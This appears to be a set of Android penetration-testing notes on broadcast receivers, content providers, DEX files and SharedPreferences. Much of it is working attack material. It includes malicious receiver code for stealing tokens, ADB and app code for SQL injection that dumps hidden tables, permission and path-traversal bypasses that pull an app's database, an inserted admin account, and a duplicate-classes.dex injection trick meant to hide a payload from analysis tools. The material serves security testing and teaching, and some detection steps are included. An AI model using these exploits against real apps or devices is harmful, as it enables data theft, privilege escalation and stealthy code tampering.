Target app sends (the vulnerable pattern — no explicit target):
Intent intent = new Intent("com.example.app.SHARE_TOKEN");
intent.putExtra("token", authToken);
sendBroadcast(intent); // ← implicit, sent to all matching receivers
Interception on Android ≤ 7.1 — static manifest receiver works
On Android 7.1 and below, a malicious app can declare a static receiver in its manifest and receive implicit broadcasts even while the app is not running:
<!-- Malicious app manifest -->
<receiver android:name=".StealerReceiver" android:exported="true">
<intent-filter>
<action android:name="com.example.app.SHARE_TOKEN"/>
</intent-filter>
</receiver>
public class StealerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String stolen = intent.getStringExtra("token");
// exfiltrate token — app does not need to be running
}
}
Interception on Android 8.0+ — dynamic receiver required
On Android 8.0 (API 26)+, the system blocks implicit broadcasts from reaching manifest-declared (static) receivers. Apps must register a dynamic receiver at runtime instead. The malicious app must be running (at least in the background) for this to work:
// In a Service or Activity in the malicious app
BroadcastReceiver stealerReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
String stolen = intent.getStringExtra("token");
// exfiltrate token
}
};
IntentFilter filter = new IntentFilter("com.example.app.SHARE_TOKEN");
registerReceiver(stealerReceiver, filter);
// ↑ registered while the malicious app is running
A malicious app can stay alive in the background using a foreground Service (with a notification) to keep the dynamic receiver registered persistently.
Practical impact during review:
- If a target app sends implicit broadcasts with sensitive extras (tokens, IDs, PII), it is vulnerable on all Android versions — only the interception mechanism differs.
- On Android 8.0+, the attacker needs their app to be running, which is a higher bar but not infeasible (the user may have installed a trojan app that runs a persistent service).
- The fix is always the same: the sender should use
intent.setPackage("trusted.package")to make the broadcast explicit.
Quick Reference — Receiver Pentest Checklist⚓
[ ] Grep manifest for all <receiver> tags
[ ] Note which are exported=true or have intent-filters (pre-API 33 default true)
[ ] Check for android:permission on each exported receiver
[ ] Load each receiver class in jadx — read onReceive()
[ ] Search source for sendBroadcast / sendOrderedBroadcast calls
[ ] Find all public static final String constants that define action names
[ ] Identify all extras read from the intent
[ ] Look for sensitive operations triggered by the broadcast
(login, logout, reset, payment, admin toggle, config override, file ops)
[ ] Send crafted broadcasts via ADB with controlled extras
[ ] Check if app sends implicit broadcasts with sensitive data in extras
[ ] Check for sticky broadcasts leaking persistent data
[ ] Verify LocalBroadcastManager or permission is used for internal events
Content Providers⚓
What is a Content Provider?⚓
A Content Provider is Android's standardised way for one app to expose data to other apps. Instead of every app inventing its own IPC mechanism for sharing data, Android defines a single interface: a URI-based query system that looks and behaves like a small database API.
The Contacts app uses one. The Calendar app uses one. The Gallery uses one. Any app that wants to let other apps read or write its data in a structured way creates a Content Provider.
How it Works — The Mental Model⚓
Think of a Content Provider as a tiny web server running inside the app, accepting requests over a fixed address schema:
content://com.example.app.provider/users/1
│ │ │ │
scheme authority path row ID
(always (identifies the segment
"content") provider uniquely)
The URI path is not the database table name
The path segment (/users) is just a public-facing label the developer chose. Internally the provider maps it to whatever table, file, or data source it wants — the real table could be named tbl_acct_data, raw_records, or anything else. You cannot infer the actual table name from the URI.
This also means you can't enumerate tables by guessing URI paths — you either pull the APK and read the provider's query() switch statement in jadx, or pull the SQLite database directly and run .tables in sqlite3 to see the real internal names.
When exploiting SQL injection, the URI is just the entry point — once inside, a UNION SELECT can reach any table in the database regardless of which path you used.
Any app that knows this URI can make a request against it — query to read, insert to add, update to change, delete to remove. The provider decides whether to allow it based on the caller's permissions.
The requesting app never touches the target app's database directly. It goes through the provider interface, which acts as a gatekeeper:
[Contacts app] ─── content://com.android.contacts/contacts ───▶ [Contacts Provider]
│
checks caller permission
│
returns Cursor of rows
│
[Contacts app] ◀──────────────────── Cursor data ─────────────────────────┘
The Four Operations⚓
A Content Provider exposes exactly these methods. They map directly to SQL:
| Method | SQL equivalent | What it does |
|---|---|---|
query() |
SELECT |
Read rows — returns a Cursor |
insert() |
INSERT |
Add a row — returns the new row URI |
update() |
UPDATE |
Modify rows — returns count of changed rows |
delete() |
DELETE |
Remove rows — returns count of deleted rows |
openFile() |
— | Return a raw file descriptor for a file resource |
The caller passes a URI and parameters. The provider executes the corresponding operation on its internal database or filesystem and returns the result. The caller never has direct database access — they only get what the provider gives them.
Why Exported Providers are Dangerous⚓
If a provider is exported with no permission, any app on the device has a direct query interface into the target app's database. Not just read — also write and delete, depending on what the provider implements.
Beyond access control, the provider is also trusting the caller to send safe input. The selection parameter in query() is the WHERE clause — if the provider concatenates it into a raw SQL string, the caller can inject arbitrary SQL. The URI path in openFile() is a file path — if the provider uses it without sanitisation, the caller can traverse out of the intended directory.
This makes Content Providers vulnerable to three distinct classes of issue:
- Unauthorised data access — exported with no permission, anyone reads the database
- SQL injection —
selectionparameter concatenated into raw SQL - Path traversal — URI path used unsanitised in
openFile()
Manifest Declaration⚓
<provider
android:name=".MyProvider"
android:authorities="com.example.myapp.provider"
android:exported="true"
android:permission="com.example.myapp.READ_DATA"/>
Split read and write permissions — a caller can be given only read or only write:
<provider
android:name=".MyProvider"
android:authorities="com.example.myapp.provider"
android:exported="true"
android:readPermission="com.example.myapp.READ"
android:writePermission="com.example.myapp.WRITE"/>
| Attribute | Purpose |
|---|---|
android:name |
The class that handles the provider |
android:authorities |
Unique identifier for the provider |
android:exported |
Whether other apps can access it |
android:permission |
What permission other apps need |
Recon — Finding Providers in the Manifest⚓
A dangerous provider — exported with no permission:
<provider
android:name=".UserDataProvider"
android:authorities="com.example.app.provider"
android:exported="true"/>
Any app can now query content://com.example.app.provider/... and get whatever this provider returns.
Key flags:
| Flag | Risk |
|---|---|
android:exported="true" without any permission |
Fully public — read and write open to all |
android:permission set but protection level normal |
Any app can auto-acquire the permission |
android:grantUriPermissions="true" |
App can grant temporary access to specific URIs to other apps — check if overused |
<path-permission> entries |
Per-path overrides — check if a sensitive path has weaker permission than the base |
No android:exported set (pre-API 33) |
May default to true |
grantUriPermissions detail:
<provider
android:name=".FileProvider"
android:authorities="com.example.app.fileprovider"
android:exported="false"
android:grantUriPermissions="true"/>
Even with exported=false, if the app sends an intent with FLAG_GRANT_READ_URI_PERMISSION pointing to a URI the provider owns, the receiving app gets temporary read access. Misconfigured path patterns in res/xml/file_paths.xml can expose the entire internal storage.
What to Look for in the Source Code⚓
In jadx, find the provider class and read these four methods:
query() — the most common vulnerability surface
@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
SQLiteDatabase db = dbHelper.getReadableDatabase();
// ← selection is passed directly from the caller — SQL injection
return db.rawQuery("SELECT * FROM users WHERE " + selection, null);
}
The selection parameter comes directly from the caller's query. String concatenation into rawQuery is SQL injection — the caller controls the WHERE clause.
openFile() — path traversal
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) {
String fileName = uri.getLastPathSegment();
File file = new File(getContext().getFilesDir(), fileName);
// ← no path traversal check
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
If fileName is ../../shared_prefs/auth.xml, the resolved path escapes getFilesDir() and reads a completely different file.
Exploitation — Querying an Exported Provider via ADB⚓
adb shell content is the built-in provider client:
# Query all rows from a table
adb shell content query --uri content://com.example.app.provider/users
# Query with a selection filter
adb shell content query \
--uri content://com.example.app.provider/users \
--where "id=1"
# Read a specific column
adb shell content query \
--uri content://com.example.app.provider/tokens \
--projection "auth_token"
# Insert a row
adb shell content insert \
--uri content://com.example.app.provider/users \
--bind name:s:attacker \
--bind role:s:admin
# Update a row
adb shell content update \
--uri content://com.example.app.provider/users \
--bind role:s:admin \
--where "id=1"
# Delete rows
adb shell content delete \
--uri content://com.example.app.provider/users \
--where "id>0"
--bind type suffixes for insert/update:
| Suffix | Type |
|---|---|
:s: |
String |
:i: |
Integer |
:l: |
Long |
:f: |
Float |
:d: |
Double |
:b: |
Boolean |
:n: |
Null |
Exploitation — SQL Injection via selection Parameter⚓
The selection parameter in query() is the equivalent of a SQL WHERE clause. If the provider concatenates it directly, you can inject:
# Dump all rows regardless of intended filter
adb shell content query \
--uri content://com.example.app.provider/messages \
--where "1=1--"
# Union-based — pull data from a different table
adb shell content query \
--uri content://com.example.app.provider/messages \
--where "1=0 UNION SELECT name,password,null,null FROM users--"
# Read SQLite schema
adb shell content query \
--uri content://com.example.app.provider/messages \
--where "1=0 UNION SELECT name,sql,null,null FROM sqlite_master--"
The result comes back as a Cursor — ADB prints each row to stdout.
Exploitation — Using the Real Table Name to Reach a Protected Table⚓
The scenario: the app exposes a /passwords URI through the provider and its exported TRUE. Internally it maps to a table called user_passwords. There is also a completely separate table called Key — it stores encryption keys and has no URI mapped to it at all, so there is no direct content://…/keys path you can query. But if the /passwords URI is injectable, as its exported, you can use it as your entry point and UNION into Key directly using its real table name.
Step 1 — Find the provider class in jadx
Search (Ctrl+Shift+F) for extends ContentProvider. Open the result.
Step 2 — Read the UriMatcher to find URI → table mappings
private static final UriMatcher uriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
static {
uriMatcher.addURI("com.example.app.provider", "passwords", 1);
uriMatcher.addURI("com.example.app.provider", "profiles", 2);
// Note: "Key" table has NO URI registered — it's internal only
}
Step 3 — Read the query() switch to find real table names
@Override
public Cursor query(Uri uri, String[] projection, String selection, ...) {
switch (uriMatcher.match(uri)) {
case 1:
// URI /passwords → real table is "user_passwords"
return db.rawQuery("SELECT * FROM user_passwords WHERE " + selection, null);
case 2:
// URI /profiles → real table is "tbl_user_profile"
return db.rawQuery("SELECT * FROM tbl_user_profile WHERE " + selection, null);
}
// "Key" table is never exposed via any URI — only used internally by the app
}
You now know:
- /passwords → user_passwords — injectable, accessible via URI
- /profiles → tbl_user_profile — injectable, accessible via URI
- Key → no URI — but reachable via UNION injection through any injectable URI
Step 4 — Confirm /passwords is injectable
# If this returns rows, selection is concatenated raw — injectable
adb shell content query \
--uri content://com.example.app.provider/passwords \
--where "1=1--"
Step 5 — Find the column count of user_passwords
UNION requires both sides to have the same number of columns. Add nulls until there is no error:
# Try 1 column
adb shell content query \
--uri content://com.example.app.provider/passwords \
--where "1=0 UNION SELECT null FROM user_passwords--"
# Try 2 columns
adb shell content query \
--uri content://com.example.app.provider/passwords \
--where "1=0 UNION SELECT null,null FROM user_passwords--"
# Try 3 columns — if this works without error, column count is 3
adb shell content query \
--uri content://com.example.app.provider/passwords \
--where "1=0 UNION SELECT null,null,null FROM user_passwords--"
When a result comes back (even with null values), you have the right column count.
Step 6 — Find the Key table's columns using sqlite_master
You don't know what columns Key has yet. Pull the schema:
adb shell content query \
--uri content://com.example.app.provider/passwords \
--where "1=0 UNION SELECT name,sql,null FROM sqlite_master WHERE type='table' AND name='Key'--"
Output will include the CREATE TABLE statement for Key, e.g.:
Now you know the columns: id, key_value, account_id.
Step 7 — UNION into Key via the /passwords URI
# Pull everything from Key using /passwords as the entry point
adb shell content query \
--uri content://com.example.app.provider/passwords \
--where "1=0 UNION SELECT id,key_value,account_id FROM Key--"
The provider runs this against user_passwords as the base query, but your UNION appends rows from Key. The result cursor returns Key's data — through a URI that officially has nothing to do with Key.
Why this works:
The SQL the provider runs internally becomes:
1=0 makes the first half return nothing. The UNION pulls from Key. The -- comments out anything the provider appends after selection. The result is pure Key table data returned through the /passwords URI.
Exploitation — Bypassing path-permission with Malformed URIs⚓
When a provider uses <path-permission> to restrict individual paths, there is a split between two layers that check the URI:
- Android OS — reads the
<path-permission>XML and enforces the permission based on pattern matching against the URI path - UriMatcher inside the provider — routes the URI to a switch case and picks the internal table
These two layers can disagree if the URI is malformed in a way that the OS pattern does not match but the UriMatcher does. The result: Android lets the request through (no permission check triggered) and the provider still serves the data.
The setup — Key path is permission-protected, passwords is open:
<provider
android:name=".DataProvider"
android:authorities="com.example.app.provider"
android:exported="true">
<!-- /key path requires a signature-level permission -->
<path-permission
android:path="/key"
android:permission="com.example.app.READ_KEY"/>
<!-- /passwords has no permission — open to all -->
</provider>
Querying /key directly fails:
adb shell content query --uri content://com.example.app.provider/key
# SecurityException: requires com.example.app.READ_KEY
Bypass technique 1 — Extra leading slash (//key)
The <path-permission android:path="/key"> does an exact string match against the path. The path //key (double slash) does not equal /key, so Android does not trigger the permission check. But the UriMatcher inside the provider often normalises paths and still routes //key to the same switch case as /key:
// In a malicious app
Uri uri = Uri.parse("content://com.example.app.provider//key");
Cursor c = getContentResolver().query(uri, null, null, null, null);
Bypass technique 2 — Trailing slash (/key/)
Same principle — android:path="/key" does not match /key/:
Bypass technique 3 — Path traversal through open path (/passwords/../key)
If /passwords has no permission, route through it with a traversal segment to reach /key. The OS checks the permission of the path as written — /passwords/../key may match the /passwords pattern (no permission needed) while the provider resolves it to /key:
Uri uri = Uri.parse("content://com.example.app.provider/passwords/../key");
Cursor c = getContentResolver().query(uri, null, null, null, null);
Bypass technique 4 — pathPattern regex escape
When <path-permission> uses android:pathPattern instead of android:path, it is a regex. A poorly written pattern like /key.* can be bypassed with a URI the pattern was not designed for:
<!-- Vulnerable pattern — only matches paths starting with /key -->
<path-permission
android:pathPattern="/key.*"
android:permission="com.example.app.READ_KEY"/>
Bypass — put /key anywhere but the start:
# /public/key — pathPattern /key.* does not match because it starts with /public
adb shell content query \
--uri "content://com.example.app.provider/public/key"
If UriMatcher was registered as:
The wildcard matches /public/key and routes it to the Key case — but the OS pathPattern does not protect /public/key. Permission bypassed.
How to find these in the manifest:
# In the decoded APK — look for path-permission tags
grep -A 5 "path-permission" decoded/AndroidManifest.xml
Look for:
- android:path — exact match, test double-slash and trailing-slash variants
- android:pathPrefix — prefix match, test adding characters after
- android:pathPattern — regex, look for gaps where patterns do not cover all URI forms the UriMatcher handles
Then in jadx, read the UriMatcher addURI() calls and map which patterns the provider registers vs which paths <path-permission> covers. Any registered URI path not fully covered by a <path-permission> entry is accessible without the permission.
Checklist for path-permission bypass:
[ ] Find all <path-permission> entries in manifest
[ ] For each protected path, test: //path, /path/, /other/../path
[ ] Check if pathPattern is used — identify uncovered URI forms
[ ] Map UriMatcher addURI() calls against path-permission entries
[ ] Any UriMatcher route not covered by a path-permission = open
Exploitation — Path Traversal via openFile()⚓
If the provider implements openFile() using the URI path without sanitisation:
# Read a file outside the intended directory
adb shell content read \
--uri "content://com.example.app.provider/files/..%2F..%2Fshared_prefs%2Fauth.xml"
# Or use a direct path segment
adb shell content read \
--uri "content://com.example.app.provider/files/../../databases/app.db"
This returns the raw bytes of the target file. On a database file you can redirect to a local path:
adb shell content read \
--uri "content://com.example.app.provider/files/../../databases/app.db" \
> stolen.db
sqlite3 stolen.db .dump
Exploitation — Abusing the Target App's Own Custom Permission⚓
If a provider is protected by a custom permission, the protection is only as strong as the permission's protectionLevel. If the permission is normal (or missing a definition entirely), an attacker app can acquire it for free — no signature required.
This is the same concept explained in the Broadcast Receivers section but applied to Content Providers. It is extremely common because developers add a <permission> tag and android:permission on the provider, assume it is locked down, and never check what protectionLevel they set.
Step 1 — Check the provider's permission in the manifest
<provider
android:name=".KeyProvider"
android:authorities="com.example.app.provider"
android:exported="true"
android:permission="com.example.app.READ_KEY"/>
Step 2 — Find the <permission> definition and read its protection level
<permission
android:name="com.example.app.READ_KEY"
android:protectionLevel="normal"/> <!-- ← broken -->
normal = any app that declares <uses-permission> for it gets it automatically at install. No user prompt. No approval.
Step 3 — In your attacker app manifest, declare the permission
<!-- Attacker app AndroidManifest.xml -->
<uses-permission android:name="com.example.app.READ_KEY"/>
<queries>
<package android:name="com.example.app"/>
</queries>
That's it. Android grants this at install time. Your app now holds com.example.app.READ_KEY and can query the KeyProvider freely:
// Attacker app — now holds the permission, query works
Uri uri = Uri.parse("content://com.example.app.provider/key");
Cursor c = getContentResolver().query(uri, null, null, null, null);
Check the effective protection level via ADB before writing the attacker app:
adb shell pm list permissions -f | grep "com.example.app"
# Look for: protectionLevel:normal (0x0) on the permission protecting the provider
If it shows 0x0 (normal) or 0x1 (dangerous) → acquire it, query freely.
If it shows 0x2 (signature) → you cannot get it without the same signing cert.
Using URI permission grants from the target app itself
A second way to get access is to make the target app grant it to you. Android has a FLAG_GRANT_READ_URI_PERMISSION / FLAG_GRANT_WRITE_URI_PERMISSION mechanism: any app can attach these flags to an intent and the receiving app gets temporary access to that URI — even if the provider is not exported.
If the target app has an Activity, Service, or BroadcastReceiver that: 1. Accepts an intent from outside (exported) 2. Reads a URI from that intent 3. Opens or forwards it with a grant flag
…then you can pass a URI pointing to the provider's sensitive path, and the target app inadvertently grants you access to it.
Example — Activity that shares files based on caller input:
// Target app's ShareActivity — exported, accepts any URI intent
@Override
protected void onCreate(Bundle savedInstanceState) {
Uri requestedUri = getIntent().getData(); // ← attacker controls this
Intent shareIntent = new Intent(Intent.ACTION_SEND);
shareIntent.setData(requestedUri);
shareIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(shareIntent); // ← grants read access to requestedUri to the next app
}
The target app reads whatever URI you send it, then grants read access to that URI to the next component in the chain. If requestedUri points to content://com.example.app.provider/key, the grant propagates to whoever receives the share intent.
Trigger it from ADB:
# Start the target app's ShareActivity with your chosen URI
adb shell am start \
-n com.example.app/.ShareActivity \
-d "content://com.example.app.provider/key" \
-a android.intent.action.VIEW
Trigger it from your malicious app:
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.example.app", "com.example.app.ShareActivity"));
intent.setData(Uri.parse("content://com.example.app.provider/key"));
intent.setAction(Intent.ACTION_VIEW);
startActivity(intent);
// The target Activity now forwards read access to the URI you chose
How to find these patterns in jadx:
Search for:
- FLAG_GRANT_READ_URI_PERMISSION
- FLAG_GRANT_WRITE_URI_PERMISSION
- grantUriPermission(
Any component that uses these flags and also reads a URI from an incoming intent is potentially vulnerable to URI redirect — you control the URI, so you control what gets granted.
Exploitation — FileProvider Path Misconfiguration⚓
FileProvider is designed to safely share files. Its allowed paths are defined in res/xml/file_paths.xml. If the path is too broad, it exposes more than intended:
<!-- Intended: share only files in the cache dir -->
<paths>
<cache-path name="shared" path="."/>
</paths>
But if configured as:
The provider has access to the entire filesystem. Any app that receives a URI grant from the target app can read any file the app can access.
Check the file:
Look for <root-path>, <files-path path="."/>, or <external-path> pointing to broad directories.
Exploitation — Accessing a Provider from a Malicious App⚓
For more complex injection or when ADB is unavailable, query the provider directly from a malicious app you write and install.
Android 11+ (API 30) — Package Visibility
Starting with Android 11, apps cannot see or interact with other packages by default. This is called package visibility filtering. If your malicious app targets API 30+, Android will act as if the target app does not exist — ContentResolver.query() will return null or throw a SecurityException, not because the provider is protected, but because your app cannot even see the target package.
Fix: declare the target package in your malicious app's manifest using <queries>:
<!-- In your malicious app's AndroidManifest.xml -->
<manifest ...>
<queries>
<!-- Declare the specific package you want to interact with -->
<package android:name="com.example.app"/>
</queries>
<!-- Or declare the authority of the provider you want to query -->
<queries>
<provider android:authorities="com.example.app.provider"/>
</queries>
<application ...>
...
You only need one of these — <package> or <provider>. The <provider> form is more targeted; the <package> form gives visibility to everything in that package.
Once declared, your app can see and query the provider normally — the provider still has to be exported and unprotected for the query to succeed. Package visibility just controls whether your app can see the package at all; the actual access control is still governed by android:exported and android:permission on the provider.
If you are targeting API 29 or below in your attacker app, you can skip the <queries> block — package visibility filtering only applies to apps that target API 30+. You can set targetSdkVersion 29 in your attacker app's build.gradle to bypass the visibility check entirely:
This is the quickest bypass during a pentest when you control the attacker app.
Full malicious app query — with package visibility declared:
<!-- AndroidManifest.xml of the attacker app -->
<queries>
<package android:name="com.example.app"/>
</queries>
// MainActivity or any component in the attacker app - OnCreate function maybe
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://com.example.app.provider/users");
// Basic dump — read all rows
Cursor cursor = resolver.query(uri, null, null, null, null);
if (cursor != null) {
while (cursor.moveToNext()) {
for (int i = 0; i < cursor.getColumnCount(); i++) {
Log.d("LEAK", cursor.getColumnName(i) + ": " + cursor.getString(i));
}
}
cursor.close();
}
// SQL injection in the selection parameter
Cursor cursor = resolver.query(
uri,
null,
"1=1", // injected WHERE clause — dumps everything
null,
null
);
// UNION injection to reach a table with no URI
Cursor cursor = resolver.query(
uri,
null,
"1=0 UNION SELECT id,key_value,account_id FROM Key--",
null,
null
);
// Insert a row — escalate privilege by adding an admin account
ContentValues values = new ContentValues();
values.put("username", "attacker");
values.put("role", "admin");
resolver.insert(uri, values);
Logcat on the attacker device shows the output:
Summary — when the malicious app approach is needed over ADB:
| Situation | Use ADB | Use malicious app |
|---|---|---|
| Device available via USB | ✅ | Either |
| No USB access (remote/physical attack) | ❌ | ✅ |
| Need to test AIDL / bound service calls | ❌ | ✅ |
| Need to chain provider access with other app actions | ❌ | ✅ |
| Quick one-off query during assessment | ✅ | Overkill |
Quick Reference — Content Provider Pentest Checklist⚓
[ ] Grep manifest for all <provider> tags
[ ] Check android:exported and android:permission on each
[ ] Check protection level of any custom permission used — 0x0/0x1 = acquirable by any app
[ ] If normal-level: declare <uses-permission> in attacker app and query directly
[ ] Search source for FLAG_GRANT_READ_URI_PERMISSION / grantUriPermission — URI redirect vuln
[ ] Note android:grantUriPermissions — check file_paths.xml for broad paths
[ ] Check for <path-permission> entries with weaker permissions on specific paths
[ ] Test path-permission bypasses: //path, /path/, /other/../path, pathPattern gaps
[ ] Load the provider class in jadx — read query(), insert(), update(), delete(), openFile()
[ ] Check if selection / sortOrder parameters are concatenated into raw SQL
[ ] Check if openFile() uses the URI path segment without sanitisation
[ ] Query the provider via ADB: adb shell content query --uri content://...
[ ] Test SQL injection in --where parameter
[ ] Test path traversal in --uri with ../ segments
[ ] Check file_paths.xml for root-path or overly broad directory mappings
[ ] Attempt to read sensitive files (shared_prefs, databases) via openFile()
[ ] If writing a malicious app on Android 11+, declare <queries> in manifest or set targetSdkVersion 29
classes.dex⚓
classes.dex is the real executable code of the app — the Android version of compiled code.
Java/Kotlin source compiles to .class files (standard Java bytecode), which are then converted to .dex (Dalvik Executable) format to run on Android. The reason Android uses .dex instead of standard Java bytecode is that phones cannot handle as much memory as computers — .dex is optimised to run with lower memory usage.
Apps with many methods exceed the single-DEX limit and produce multiple files (classes.dex, classes2.dex, etc.).
Full compilation pipeline:
Your Java/Kotlin code (.java / .kt)
↓
Java Compiler (javac)
↓
.class files
(standard Java bytecode)
↓
D8 / DX Tool (Android's converter)
↓
classes.dex
(Android bytecode)
↓
APK Packager (AAPT2) combines:
+ classes.dex
+ res/
+ assets/
+ AndroidManifest.xml
+ lib/
↓
unsigned .apk
↓
APK Signer
↓
✅ Final signed .apk (ready to install)
Reading and modifying DEX:
To read the code, decompile .dex using tools like jadx, apktool, or dex2jar.
If you run the .dex through apktool or dexdump, it converts to Smali — a human-readable version of Dalvik bytecode. You can modify Smali and then convert it back to .dex and repackage the APK.
# Decompile APK to Smali
apktool d app.apk -o app_decoded/
# Rebuild after modification
apktool b app_decoded/ -o app_modified.apk
DEX Injection via Duplicate ZIP Entry (Hex Rename Trick)⚓
An APK is a ZIP file. ZIP files allow duplicate filenames — two entries with the exact same path. Most ZIP parsers (and Android's own runtime) resolve the conflict by using the last entry with that name. This can be exploited to inject a malicious classes.dex without removing the original, keeping the APK's apparent structure intact.
Why this works:
The ZIP format stores a central directory at the end of the file listing all entries. If two entries share the same filename, parsers that iterate forward through the central directory and keep the last match will end up using the injected DEX. Android's DexClassLoader and the PackageManager installer exhibit this behaviour — the injected entry at the end of the ZIP wins.
Step 1 — Build your malicious DEX
Write the payload class in Java, compile it, and convert to DEX:
# Write the payload
mkdir payload && cd payload
cat > Evil.java << 'EOF'
public class Evil {
static {
// code that runs when the class is loaded
Runtime.getRuntime().exec("id > /sdcard/pwned.txt");
}
}
EOF
# Compile to .class
javac Evil.java
# Convert .class → classes.dex
d8 --output . Evil.class
# Produces classes.dex in current directory
Or build a full DEX from a smali file using smali:
Step 2 — Add it to the APK using a placeholder name
You cannot add a second classes.dex directly — ZIP tools will either reject it or deduplicate. Instead, add it under a deliberately wrong name that you will fix in the next step:
cp app.apk app_inject.apk
# Add the malicious DEX as "classez.dex" (wrong name on purpose)
zip app_inject.apk classez.dex
The APK now contains:
Step 3 — Hex-edit classez.dex → classes.dex in the ZIP
The filename is stored as a raw byte string in two places in the ZIP file: - The local file header — at the position of the entry's data in the file - The central directory — at the end of the file
You need to change classez → classes in both locations. The only byte that differs is z (0x7A) → s (0x73).
# Find all occurrences of "classez" in the file (shows byte offsets)
grep -boaP "classez" app_inject.apk
# Output: 12345:classez
# 98765:classez ← two hits: local header + central directory
Open in a hex editor (e.g. hexedit, HxD, 010 Editor) and at each offset change:
Or with sed-style binary replacement using Python:
with open("app_inject.apk", "rb") as f:
data = f.read()
# Replace all occurrences of b"classez" with b"classes"
patched = data.replace(b"classez", b"classes")
with open("app_inject_patched.apk", "wb") as f:
f.write(patched)
ZIP length fields must stay the same
The local file header and central directory both store the filename length as a 2-byte little-endian integer. Since classez.dex and classes.dex are the same byte length (11 characters), no length fields need changing — a straight byte replacement is safe.
If you had chosen a name of different length (e.g. payload.dex = 11 chars, also fine) you would need to update the length fields too, which is significantly more work.
Step 4 — Verify the ZIP now has two classes.dex entries
python3 -c "
import zipfile
with zipfile.ZipFile('app_inject_patched.apk') as z:
names = z.namelist()
print([n for n in names if 'classes' in n])
"
# Output: ['classes.dex', 'classes.dex']
Two entries, same name. The injected one is last.
# Also confirm with unzip -v (shows both entries and their offsets)
unzip -v app_inject_patched.apk | grep classes
Step 5 — Re-sign and install
The APK must be re-signed after any modification:
zipalign -v 4 app_inject_patched.apk app_inject_aligned.apk
apksigner sign --ks my-release-key.jks --ks-key-alias mykey app_inject_aligned.apk
adb install -r app_inject_aligned.apk
When the app launches, Android loads classes.dex — encounters both entries — and uses the last one: your injected payload. The original classes.dex is shadowed completely.
What this looks like to static analysis tools:
Most tools (jadx, apktool) extract ZIPs using standard decompression — they typically surface only one classes.dex. Which one they show depends on their ZIP parser implementation:
- jadx — uses its own extractor, usually shows the first entry → original code looks clean
- apktool — uses
java.util.zip, which keeps the last entry → may show the injected code - Manual
unzip— extracts the last entry by default (last wins in ZIP spec)
This asymmetry means a defender using jadx may see the original clean code while the device actually runs the injected payload.
Detection:
# Count how many times classes.dex appears in the ZIP central directory
python3 -c "
import zipfile
with zipfile.ZipFile('suspect.apk') as z:
dups = [i for i in z.infolist() if i.filename == 'classes.dex']
print(f'{len(dups)} entries named classes.dex')
for d in dups:
print(f' offset={d.header_offset} size={d.file_size}')
"
# More than 1 = suspicious
App Storage⚓
Each app's private data lives in:
This is a sandboxed area — other apps cannot access it. Root access is required to view it directly, but debuggable apps can be accessed via run-as and apps with allowBackup="true" can be extracted via ADB without root.
/data/data/com.example.app/
shared_prefs/ ← SharedPreferences XML files
databases/ ← SQLite databases
files/ ← Internal files written by the app
cache/ ← Temporary cache files
code_cache/ ← Compiled code cache
lib/ ← Native libraries symlinked from APK
# Access with run-as (requires debuggable app)
adb shell run-as com.example.app
ls /data/data/com.example.app/
# Pull a database
adb shell run-as com.example.app cp /data/data/com.example.app/databases/app.db /sdcard/
adb pull /sdcard/app.db
sqlite3 app.db
Public storage that any app with proper permissions can read and write is at:
SharedPreferences⚓
SharedPreferences is Android's simplest key-value storage mechanism. The app stores name → value pairs and they persist across app restarts. Internally they are plain XML files stored in the app's private directory.
Why developers use it:
SharedPreferences (SP) is the quickest, lowest-friction way to persist small pieces of data in Android — no database schema, no SQL, no file handling. You write a key → value pair in one line of code and it survives process death. This convenience leads developers to store things there that should not be stored in plaintext — session tokens, user credentials, feature flags, premium status, API keys, device identifiers.
Where files live:
Each distinct set of preferences is its own XML file. An app can have many — one per getSharedPreferences("filename", mode) call the developer made.
What the XML looks like:
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="auth_token">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...</string>
<string name="user_email">victim@example.com</string>
<string name="user_id">8472910</string>
<string name="api_key">sk-live-Abc123XYZ...</string>
<boolean name="is_premium" value="true" />
<boolean name="is_logged_in" value="true" />
<int name="login_count" value="47" />
<long name="last_login_ts" value="1741304400000" />
</map>
Supported types: string, boolean, int, long, float, set.
How developers write to it in code (so you recognise it in jadx):
// Writing
SharedPreferences sp = getSharedPreferences("user_prefs", Context.MODE_PRIVATE);
SharedPreferences.Editor editor = sp.edit();
editor.putString("auth_token", token);
editor.putBoolean("is_premium", true);
editor.apply(); // async write
// or editor.commit(); // synchronous write
// Reading
String token = sp.getString("auth_token", null);
boolean premium = sp.getBoolean("is_premium", false);
In jadx, search for getSharedPreferences and putString/putBoolean to find what is being stored and under which filename.
Extracting SharedPreferences — three methods:
Method 1 — run-as (no root, requires debuggable=true):
adb shell
run-as com.example.app
cat /data/data/com.example.app/shared_prefs/user_prefs.xml
# List all SP files first
ls /data/data/com.example.app/shared_prefs/
# Copy to sdcard to pull
cp /data/data/com.example.app/shared_prefs/user_prefs.xml /sdcard/
exit
adb pull /sdcard/user_prefs.xml
Method 2 — ADB backup (no root, requires allowBackup=true):
adb backup -noapk com.example.app
# Creates backup.ab
# Decompress
dd if=backup.ab bs=1 skip=24 | python3 -c \
"import zlib,sys; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" \
> backup.tar
tar xf backup.tar
# SharedPreferences are in:
cat apps/com.example.app/sp/user_prefs.xml
ls apps/com.example.app/sp/
Method 3 — root (adb shell with root access):
adb shell
su
cat /data/data/com.example.app/shared_prefs/user_prefs.xml
# Pull all SP files at once
adb pull /data/data/com.example.app/shared_prefs/
MODE_WORLD_READABLE — legacy misconfiguration:
Before API 17, developers could create SharedPreferences files that any app on the device could read:
// Vulnerable — any app can read this file
getSharedPreferences("secrets", Context.MODE_WORLD_READABLE);
This was deprecated in API 17 and MODE_WORLD_READABLE now throws a SecurityException on API 24+. But apps targeting old SDKs or not testing on modern Android may still use it. Check with:
# Look for MODE_WORLD_READABLE in decompiled source
